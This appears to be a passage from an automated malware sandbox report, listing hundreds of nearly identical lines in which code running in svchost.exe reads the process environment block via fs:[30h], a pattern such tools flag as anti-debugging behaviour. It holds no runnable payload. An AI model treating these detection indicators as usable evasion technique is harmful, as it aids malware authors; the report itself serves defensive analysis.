            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030D4180 mov eax, dword ptr fs:[00000030h]2_2_030D4180
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030B019F mov eax, dword ptr fs:[00000030h]2_2_030B019F
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030B019F mov eax, dword ptr fs:[00000030h]2_2_030B019F
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030B019F mov eax, dword ptr fs:[00000030h]2_2_030B019F
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030B019F mov eax, dword ptr fs:[00000030h]2_2_030B019F
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0302A197 mov eax, dword ptr fs:[00000030h]2_2_0302A197
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0302A197 mov eax, dword ptr fs:[00000030h]2_2_0302A197
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0302A197 mov eax, dword ptr fs:[00000030h]2_2_0302A197
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030F61C3 mov eax, dword ptr fs:[00000030h]2_2_030F61C3
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030F61C3 mov eax, dword ptr fs:[00000030h]2_2_030F61C3
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030AE1D0 mov eax, dword ptr fs:[00000030h]2_2_030AE1D0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030AE1D0 mov eax, dword ptr fs:[00000030h]2_2_030AE1D0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030AE1D0 mov ecx, dword ptr fs:[00000030h]2_2_030AE1D0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030AE1D0 mov eax, dword ptr fs:[00000030h]2_2_030AE1D0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030AE1D0 mov eax, dword ptr fs:[00000030h]2_2_030AE1D0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_031061E5 mov eax, dword ptr fs:[00000030h]2_2_031061E5
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030601F8 mov eax, dword ptr fs:[00000030h]2_2_030601F8
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030B4000 mov ecx, dword ptr fs:[00000030h]2_2_030B4000
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030D2000 mov eax, dword ptr fs:[00000030h]2_2_030D2000
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030D2000 mov eax, dword ptr fs:[00000030h]2_2_030D2000
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030D2000 mov eax, dword ptr fs:[00000030h]2_2_030D2000
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030D2000 mov eax, dword ptr fs:[00000030h]2_2_030D2000
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030D2000 mov eax, dword ptr fs:[00000030h]2_2_030D2000
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030D2000 mov eax, dword ptr fs:[00000030h]2_2_030D2000
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030D2000 mov eax, dword ptr fs:[00000030h]2_2_030D2000
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030D2000 mov eax, dword ptr fs:[00000030h]2_2_030D2000
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0304E016 mov eax, dword ptr fs:[00000030h]2_2_0304E016
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0304E016 mov eax, dword ptr fs:[00000030h]2_2_0304E016
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0304E016 mov eax, dword ptr fs:[00000030h]2_2_0304E016
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0304E016 mov eax, dword ptr fs:[00000030h]2_2_0304E016
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0302A020 mov eax, dword ptr fs:[00000030h]2_2_0302A020
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0302C020 mov eax, dword ptr fs:[00000030h]2_2_0302C020
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030C6030 mov eax, dword ptr fs:[00000030h]2_2_030C6030
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03032050 mov eax, dword ptr fs:[00000030h]2_2_03032050
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030B6050 mov eax, dword ptr fs:[00000030h]2_2_030B6050
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0305C073 mov eax, dword ptr fs:[00000030h]2_2_0305C073
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0303208A mov eax, dword ptr fs:[00000030h]2_2_0303208A
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030280A0 mov eax, dword ptr fs:[00000030h]2_2_030280A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030C80A8 mov eax, dword ptr fs:[00000030h]2_2_030C80A8
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030F60B8 mov eax, dword ptr fs:[00000030h]2_2_030F60B8
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030F60B8 mov ecx, dword ptr fs:[00000030h]2_2_030F60B8
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030B20DE mov eax, dword ptr fs:[00000030h]2_2_030B20DE
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0302A0E3 mov ecx, dword ptr fs:[00000030h]2_2_0302A0E3
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030380E9 mov eax, dword ptr fs:[00000030h]2_2_030380E9
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030B60E0 mov eax, dword ptr fs:[00000030h]2_2_030B60E0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0302C0F0 mov eax, dword ptr fs:[00000030h]2_2_0302C0F0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030720F0 mov ecx, dword ptr fs:[00000030h]2_2_030720F0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0306C700 mov eax, dword ptr fs:[00000030h]2_2_0306C700
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03030710 mov eax, dword ptr fs:[00000030h]2_2_03030710
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03060710 mov eax, dword ptr fs:[00000030h]2_2_03060710
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0306C720 mov eax, dword ptr fs:[00000030h]2_2_0306C720
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0306C720 mov eax, dword ptr fs:[00000030h]2_2_0306C720
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0306273C mov eax, dword ptr fs:[00000030h]2_2_0306273C
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0306273C mov ecx, dword ptr fs:[00000030h]2_2_0306273C
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0306273C mov eax, dword ptr fs:[00000030h]2_2_0306273C
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030AC730 mov eax, dword ptr fs:[00000030h]2_2_030AC730
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0306674D mov esi, dword ptr fs:[00000030h]2_2_0306674D
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0306674D mov eax, dword ptr fs:[00000030h]2_2_0306674D
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0306674D mov eax, dword ptr fs:[00000030h]2_2_0306674D
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03030750 mov eax, dword ptr fs:[00000030h]2_2_03030750
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030BE75D mov eax, dword ptr fs:[00000030h]2_2_030BE75D
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03072750 mov eax, dword ptr fs:[00000030h]2_2_03072750
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03072750 mov eax, dword ptr fs:[00000030h]2_2_03072750
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030B4755 mov eax, dword ptr fs:[00000030h]2_2_030B4755
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03038770 mov eax, dword ptr fs:[00000030h]2_2_03038770
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03040770 mov eax, dword ptr fs:[00000030h]2_2_03040770
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03040770 mov eax, dword ptr fs:[00000030h]2_2_03040770
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03040770 mov eax, dword ptr fs:[00000030h]2_2_03040770
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03040770 mov eax, dword ptr fs:[00000030h]2_2_03040770
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03040770 mov eax, dword ptr fs:[00000030h]2_2_03040770
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03040770 mov eax, dword ptr fs:[00000030h]2_2_03040770
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03040770 mov eax, dword ptr fs:[00000030h]2_2_03040770
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03040770 mov eax, dword ptr fs:[00000030h]2_2_03040770
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03040770 mov eax, dword ptr fs:[00000030h]2_2_03040770
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03040770 mov eax, dword ptr fs:[00000030h]2_2_03040770
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03040770 mov eax, dword ptr fs:[00000030h]2_2_03040770
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03040770 mov eax, dword ptr fs:[00000030h]2_2_03040770
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030D678E mov eax, dword ptr fs:[00000030h]2_2_030D678E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030307AF mov eax, dword ptr fs:[00000030h]2_2_030307AF
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030E47A0 mov eax, dword ptr fs:[00000030h]2_2_030E47A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0303C7C0 mov eax, dword ptr fs:[00000030h]2_2_0303C7C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030B07C3 mov eax, dword ptr fs:[00000030h]2_2_030B07C3
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030527ED mov eax, dword ptr fs:[00000030h]2_2_030527ED
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030527ED mov eax, dword ptr fs:[00000030h]2_2_030527ED
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030527ED mov eax, dword ptr fs:[00000030h]2_2_030527ED
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030BE7E1 mov eax, dword ptr fs:[00000030h]2_2_030BE7E1
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030347FB mov eax, dword ptr fs:[00000030h]2_2_030347FB
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030347FB mov eax, dword ptr fs:[00000030h]2_2_030347FB
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030AE609 mov eax, dword ptr fs:[00000030h]2_2_030AE609
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0304260B mov eax, dword ptr fs:[00000030h]2_2_0304260B
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0304260B mov eax, dword ptr fs:[00000030h]2_2_0304260B
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0304260B mov eax, dword ptr fs:[00000030h]2_2_0304260B
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0304260B mov eax, dword ptr fs:[00000030h]2_2_0304260B
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0304260B mov eax, dword ptr fs:[00000030h]2_2_0304260B
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0304260B mov eax, dword ptr fs:[00000030h]2_2_0304260B
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0304260B mov eax, dword ptr fs:[00000030h]2_2_0304260B
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03072619 mov eax, dword ptr fs:[00000030h]2_2_03072619
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0304E627 mov eax, dword ptr fs:[00000030h]2_2_0304E627
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03066620 mov eax, dword ptr fs:[00000030h]2_2_03066620
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03068620 mov eax, dword ptr fs:[00000030h]2_2_03068620
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0303262C mov eax, dword ptr fs:[00000030h]2_2_0303262C
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0304C640 mov eax, dword ptr fs:[00000030h]2_2_0304C640
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030F866E mov eax, dword ptr fs:[00000030h]2_2_030F866E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030F866E mov eax, dword ptr fs:[00000030h]2_2_030F866E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0306A660 mov eax, dword ptr fs:[00000030h]2_2_0306A660
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0306A660 mov eax, dword ptr fs:[00000030h]2_2_0306A660
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03062674 mov eax, dword ptr fs:[00000030h]2_2_03062674
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03034690 mov eax, dword ptr fs:[00000030h]2_2_03034690
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03034690 mov eax, dword ptr fs:[00000030h]2_2_03034690
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0306C6A6 mov eax, dword ptr fs:[00000030h]2_2_0306C6A6
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030666B0 mov eax, dword ptr fs:[00000030h]2_2_030666B0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0306A6C7 mov ebx, dword ptr fs:[00000030h]2_2_0306A6C7
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0306A6C7 mov eax, dword ptr fs:[00000030h]2_2_0306A6C7
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030AE6F2 mov eax, dword ptr fs:[00000030h]2_2_030AE6F2
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030AE6F2 mov eax, dword ptr fs:[00000030h]2_2_030AE6F2
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030AE6F2 mov eax, dword ptr fs:[00000030h]2_2_030AE6F2
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030AE6F2 mov eax, dword ptr fs:[00000030h]2_2_030AE6F2
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030B06F1 mov eax, dword ptr fs:[00000030h]2_2_030B06F1
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030B06F1 mov eax, dword ptr fs:[00000030h]2_2_030B06F1
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030C6500 mov eax, dword ptr fs:[00000030h]2_2_030C6500
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03104500 mov eax, dword ptr fs:[00000030h]2_2_03104500
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03104500 mov eax, dword ptr fs:[00000030h]2_2_03104500
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03104500 mov eax, dword ptr fs:[00000030h]2_2_03104500
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03104500 mov eax, dword ptr fs:[00000030h]2_2_03104500
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03104500 mov eax, dword ptr fs:[00000030h]2_2_03104500
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03104500 mov eax, dword ptr fs:[00000030h]2_2_03104500
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03104500 mov eax, dword ptr fs:[00000030h]2_2_03104500
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03040535 mov eax, dword ptr fs:[00000030h]2_2_03040535
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03040535 mov eax, dword ptr fs:[00000030h]2_2_03040535
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03040535 mov eax, dword ptr fs:[00000030h]2_2_03040535
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03040535 mov eax, dword ptr fs:[00000030h]2_2_03040535
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03040535 mov eax, dword ptr fs:[00000030h]2_2_03040535
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03040535 mov eax, dword ptr fs:[00000030h]2_2_03040535
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0305E53E mov eax, dword ptr fs:[00000030h]2_2_0305E53E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0305E53E mov eax, dword ptr fs:[00000030h]2_2_0305E53E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0305E53E mov eax, dword ptr fs:[00000030h]2_2_0305E53E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0305E53E mov eax, dword ptr fs:[00000030h]2_2_0305E53E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0305E53E mov eax, dword ptr fs:[00000030h]2_2_0305E53E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03038550 mov eax, dword ptr fs:[00000030h]2_2_03038550
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03038550 mov eax, dword ptr fs:[00000030h]2_2_03038550
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0306656A mov eax, dword ptr fs:[00000030h]2_2_0306656A
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0306656A mov eax, dword ptr fs:[00000030h]2_2_0306656A
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0306656A mov eax, dword ptr fs:[00000030h]2_2_0306656A
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03032582 mov eax, dword ptr fs:[00000030h]2_2_03032582
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03032582 mov ecx, dword ptr fs:[00000030h]2_2_03032582
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03064588 mov eax, dword ptr fs:[00000030h]2_2_03064588
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0306E59C mov eax, dword ptr fs:[00000030h]2_2_0306E59C
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030B05A7 mov eax, dword ptr fs:[00000030h]2_2_030B05A7
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030B05A7 mov eax, dword ptr fs:[00000030h]2_2_030B05A7
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030B05A7 mov eax, dword ptr fs:[00000030h]2_2_030B05A7
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030545B1 mov eax, dword ptr fs:[00000030h]2_2_030545B1
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030545B1 mov eax, dword ptr fs:[00000030h]2_2_030545B1
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0306E5CF mov eax, dword ptr fs:[00000030h]2_2_0306E5CF
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0306E5CF mov eax, dword ptr fs:[00000030h]2_2_0306E5CF
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030365D0 mov eax, dword ptr fs:[00000030h]2_2_030365D0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0306A5D0 mov eax, dword ptr fs:[00000030h]2_2_0306A5D0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0306A5D0 mov eax, dword ptr fs:[00000030h]2_2_0306A5D0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0305E5E7 mov eax, dword ptr fs:[00000030h]2_2_0305E5E7
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0305E5E7 mov eax, dword ptr fs:[00000030h]2_2_0305E5E7
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0305E5E7 mov eax, dword ptr fs:[00000030h]2_2_0305E5E7
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0305E5E7 mov eax, dword ptr fs:[00000030h]2_2_0305E5E7
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0305E5E7 mov eax, dword ptr fs:[00000030h]2_2_0305E5E7
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0305E5E7 mov eax, dword ptr fs:[00000030h]2_2_0305E5E7
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0305E5E7 mov eax, dword ptr fs:[00000030h]2_2_0305E5E7
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0305E5E7 mov eax, dword ptr fs:[00000030h]2_2_0305E5E7
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030325E0 mov eax, dword ptr fs:[00000030h]2_2_030325E0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0306C5ED mov eax, dword ptr fs:[00000030h]2_2_0306C5ED
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0306C5ED mov eax, dword ptr fs:[00000030h]2_2_0306C5ED
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03068402 mov eax, dword ptr fs:[00000030h]2_2_03068402
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03068402 mov eax, dword ptr fs:[00000030h]2_2_03068402
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03068402 mov eax, dword ptr fs:[00000030h]2_2_03068402
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0302E420 mov eax, dword ptr fs:[00000030h]2_2_0302E420
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0302E420 mov eax, dword ptr fs:[00000030h]2_2_0302E420
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0302E420 mov eax, dword ptr fs:[00000030h]2_2_0302E420
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0302C427 mov eax, dword ptr fs:[00000030h]2_2_0302C427
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030B6420 mov eax, dword ptr fs:[00000030h]2_2_030B6420
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030B6420 mov eax, dword ptr fs:[00000030h]2_2_030B6420
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030B6420 mov eax, dword ptr fs:[00000030h]2_2_030B6420
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030B6420 mov eax, dword ptr fs:[00000030h]2_2_030B6420
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030B6420 mov eax, dword ptr fs:[00000030h]2_2_030B6420
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030B6420 mov eax, dword ptr fs:[00000030h]2_2_030B6420
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030B6420 mov eax, dword ptr fs:[00000030h]2_2_030B6420
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0306A430 mov eax, dword ptr fs:[00000030h]2_2_0306A430
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0306E443 mov eax, dword ptr fs:[00000030h]2_2_0306E443
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0306E443 mov eax, dword ptr fs:[00000030h]2_2_0306E443
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0306E443 mov eax, dword ptr fs:[00000030h]2_2_0306E443
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0306E443 mov eax, dword ptr fs:[00000030h]2_2_0306E443
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0306E443 mov eax, dword ptr fs:[00000030h]2_2_0306E443
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0306E443 mov eax, dword ptr fs:[00000030h]2_2_0306E443
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0306E443 mov eax, dword ptr fs:[00000030h]2_2_0306E443
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0306E443 mov eax, dword ptr fs:[00000030h]2_2_0306E443
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030EA456 mov eax, dword ptr fs:[00000030h]2_2_030EA456
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0302645D mov eax, dword ptr fs:[00000030h]2_2_0302645D
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0305245A mov eax, dword ptr fs:[00000030h]2_2_0305245A
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030BC460 mov ecx, dword ptr fs:[00000030h]2_2_030BC460
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0305A470 mov eax, dword ptr fs:[00000030h]2_2_0305A470
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0305A470 mov eax, dword ptr fs:[00000030h]2_2_0305A470
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0305A470 mov eax, dword ptr fs:[00000030h]2_2_0305A470
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030EA49A mov eax, dword ptr fs:[00000030h]2_2_030EA49A
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030364AB mov eax, dword ptr fs:[00000030h]2_2_030364AB
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030644B0 mov ecx, dword ptr fs:[00000030h]2_2_030644B0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030BA4B0 mov eax, dword ptr fs:[00000030h]2_2_030BA4B0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030304E5 mov ecx, dword ptr fs:[00000030h]2_2_030304E5
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03104B00 mov eax, dword ptr fs:[00000030h]2_2_03104B00
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030AEB1D mov eax, dword ptr fs:[00000030h]2_2_030AEB1D
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030AEB1D mov eax, dword ptr fs:[00000030h]2_2_030AEB1D
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030AEB1D mov eax, dword ptr fs:[00000030h]2_2_030AEB1D
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030AEB1D mov eax, dword ptr fs:[00000030h]2_2_030AEB1D
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030AEB1D mov eax, dword ptr fs:[00000030h]2_2_030AEB1D
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030AEB1D mov eax, dword ptr fs:[00000030h]2_2_030AEB1D
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030AEB1D mov eax, dword ptr fs:[00000030h]2_2_030AEB1D
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030AEB1D mov eax, dword ptr fs:[00000030h]2_2_030AEB1D
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030AEB1D mov eax, dword ptr fs:[00000030h]2_2_030AEB1D
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0305EB20 mov eax, dword ptr fs:[00000030h]2_2_0305EB20
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0305EB20 mov eax, dword ptr fs:[00000030h]2_2_0305EB20
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030F8B28 mov eax, dword ptr fs:[00000030h]2_2_030F8B28
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030F8B28 mov eax, dword ptr fs:[00000030h]2_2_030F8B28
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030E4B4B mov eax, dword ptr fs:[00000030h]2_2_030E4B4B
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030E4B4B mov eax, dword ptr fs:[00000030h]2_2_030E4B4B
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03102B57 mov eax, dword ptr fs:[00000030h]2_2_03102B57
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03102B57 mov eax, dword ptr fs:[00000030h]2_2_03102B57
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03102B57 mov eax, dword ptr fs:[00000030h]2_2_03102B57
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03102B57 mov eax, dword ptr fs:[00000030h]2_2_03102B57
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030C6B40 mov eax, dword ptr fs:[00000030h]2_2_030C6B40
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030C6B40 mov eax, dword ptr fs:[00000030h]2_2_030C6B40
